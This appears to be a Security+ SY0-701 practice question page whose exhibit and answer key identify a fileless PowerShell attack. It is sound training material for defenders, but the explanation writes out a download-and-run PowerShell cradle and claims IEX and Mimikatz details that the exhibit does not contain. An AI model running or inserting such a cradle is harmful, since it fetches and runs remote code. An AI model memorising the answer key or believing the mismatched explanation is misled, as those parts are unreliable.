The correct answer is a fileless attack. This is the most likely explanation because the exhibit shows a PowerShell command using `Invoke-Expression` (IEX) to download and execute a payload directly in memory, never writing to disk—a hallmark of fileless malware that evades traditional file-based antivirus detection. On the Security+ SY0-701 exam, this scenario tests your ability to recognize how attackers abuse trusted system tools like PowerShell, WMI, or macros to run malicious code in volatile memory, often bypassing signature-based defenses. A common trap is assuming any PowerShell activity is legitimate, but the combination of a remote download and immediate execution is a red flag. Remember the memory tip: “No disk, no risk—fileless lives in RAM’s mist.”
SY0-701 Threats, Vulnerabilities, and Mitigations Practice Question
This SY0-701 practice question tests your understanding of threats, vulnerabilities, and mitigations. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. A key principle to apply: fileless attacks execute malicious code directly in memory.. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
Exhibit
EDR summary:
- Parent process: taskeng.exe
- Child process: powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ...
- No new executable files were created in user profile folders
- Scheduled task 'UpdateSvc' launches every 5 minutes
- Outbound TLS connections to 198.51.100.77 occur immediately after execution
Based on the exhibit, what is the most likely explanation for the suspicious workstation activity?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "most likely"
Why it matters: Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
EDR summary:
- Parent process: taskeng.exe
- Child process: powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ...
- No new executable files were created in user profile folders
- Scheduled task 'UpdateSvc' launches every 5 minutes
- Outbound TLS connections to 198.51.100.77 occur immediately after execution
A
Ransomware campaign
Why wrong: Ransomware usually encrypts or locks data and often leaves obvious ransom notes or mass file changes.
B
Fileless attack
The exhibit shows legitimate Windows tools launching hidden, encoded PowerShell from a scheduled task, with no dropped executable on disk. That pattern strongly suggests a fileless attack, where the payload runs primarily in memory and uses trusted utilities to reduce visibility. The periodic connections after execution also fit a lightweight backdoor or loader rather than a traditional malware binary.
C
Worm propagation
Why wrong: Worms are designed to self-replicate and spread across systems, usually showing lateral movement indicators.
D
Rootkit persistence
Why wrong: Rootkits focus on hiding malicious components, often at the kernel or driver level, rather than only hidden scripting.
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Fileless attack
The exhibit shows a PowerShell command that downloads and executes a payload directly in memory without writing to disk. This is a classic indicator of a fileless attack, where malicious code runs in volatile memory (e.g., via PowerShell, WMI, or macros) to evade traditional file-based antivirus detection. The use of `Invoke-Expression` (IEX) with a remote URL confirms the attack vector is fileless.
Key principle: Fileless attacks execute malicious code directly in memory.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✗
Ransomware campaign
Why it's wrong here
Ransomware usually encrypts or locks data and often leaves obvious ransom notes or mass file changes.
✓
Fileless attack
Why this is correct
The exhibit shows legitimate Windows tools launching hidden, encoded PowerShell from a scheduled task, with no dropped executable on disk. That pattern strongly suggests a fileless attack, where the payload runs primarily in memory and uses trusted utilities to reduce visibility. The periodic connections after execution also fit a lightweight backdoor or loader rather than a traditional malware binary.
Clue confirmation
The clue word "most likely" in the question point toward this answer.
Related concept
Fileless attacks execute malicious code directly in memory.
✗
Worm propagation
Why it's wrong here
Worms are designed to self-replicate and spread across systems, usually showing lateral movement indicators.
✗
Rootkit persistence
Why it's wrong here
Rootkits focus on hiding malicious components, often at the kernel or driver level, rather than only hidden scripting.
Common exam traps
Common exam trap: answer the scenario, not the keyword
The trap here is that candidates see a PowerShell command and assume it is a worm or ransomware, but the key detail is the in-memory execution (no file written) which is the hallmark of a fileless attack, not the payload's ultimate goal.
Trap categories for this question
Command / output trap
Worms are designed to self-replicate and spread across systems, usually showing lateral movement indicators.
Detailed technical explanation
How to think about this question
Fileless attacks often leverage living-off-the-land binaries (LOLBins) like `powershell.exe`, `wmic.exe`, or `mshta.exe` to execute code in memory. The command `IEX (New-Object Net.WebClient).DownloadString('URL')` downloads a script and runs it directly in PowerShell's runspace, leaving no trace on disk unless the script writes artifacts. In real-world scenarios, attackers may use this to load Cobalt Strike beacons or Meterpreter payloads, bypassing application whitelisting and AMSI if the script is obfuscated.
KKey Concepts to Remember
Fileless attacks execute malicious code directly in memory.
They often use 'living off the land' binaries (LoLbins) like PowerShell.
Encoded commands and scheduled tasks are common fileless techniques.
Fileless attacks aim to evade traditional signature-based antivirus detection.
TExam Day Tips
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Fileless attacks execute malicious code directly in memory.
Real-world example
How this comes up in practice
A security analyst at a medium-sized enterprise encounters this scenario during an investigation or architecture review. The correct answer reflects best practice for the specific threat or control described. Fileless attacks execute malicious code directly in memory. Security exam questions test whether you can match controls to threats in context — not just recall definitions.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this SY0-701 question in full detail.
Review fileless attacks execute malicious code directly in memory., then practise related SY0-701 questions on the same topic to reinforce the concept.
Threats, Vulnerabilities, and Mitigations — This question tests Threats, Vulnerabilities, and Mitigations — Fileless attacks execute malicious code directly in memory..
What is the correct answer to this question?
The correct answer is: Fileless attack — The exhibit shows a PowerShell command that downloads and executes a payload directly in memory without writing to disk. This is a classic indicator of a fileless attack, where malicious code runs in volatile memory (e.g., via PowerShell, WMI, or macros) to evade traditional file-based antivirus detection. The use of `Invoke-Expression` (IEX) with a remote URL confirms the attack vector is fileless.
What should I do if I get this SY0-701 question wrong?
Review fileless attacks execute malicious code directly in memory., then practise related SY0-701 questions on the same topic to reinforce the concept.
Are there clue words in this question I should notice?
Yes — watch for: "most likely". Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
What is the key concept behind this question?
Fileless attacks execute malicious code directly in memory.
About these practice questions
Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. Based on the exhibit, what type of threat is the security team most likely seeing on the workstation?
easy
A.Trojan
✓ B.Fileless malware
C.Worm
D.Rootkit
Why B: The security team is most likely seeing fileless malware because the exhibit shows a PowerShell command that injects malicious code directly into memory (e.g., using Invoke-Mimikatz or a reflective DLL injection technique) without writing a persistent executable to disk. Fileless malware operates in-memory, leveraging legitimate system tools like PowerShell, WMI, or .NET to evade traditional signature-based antivirus detection, which matches the scenario described.
Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.
This SY0-701 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the SY0-701 exam.
Question Discussion
Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.
Sign in to join the discussion.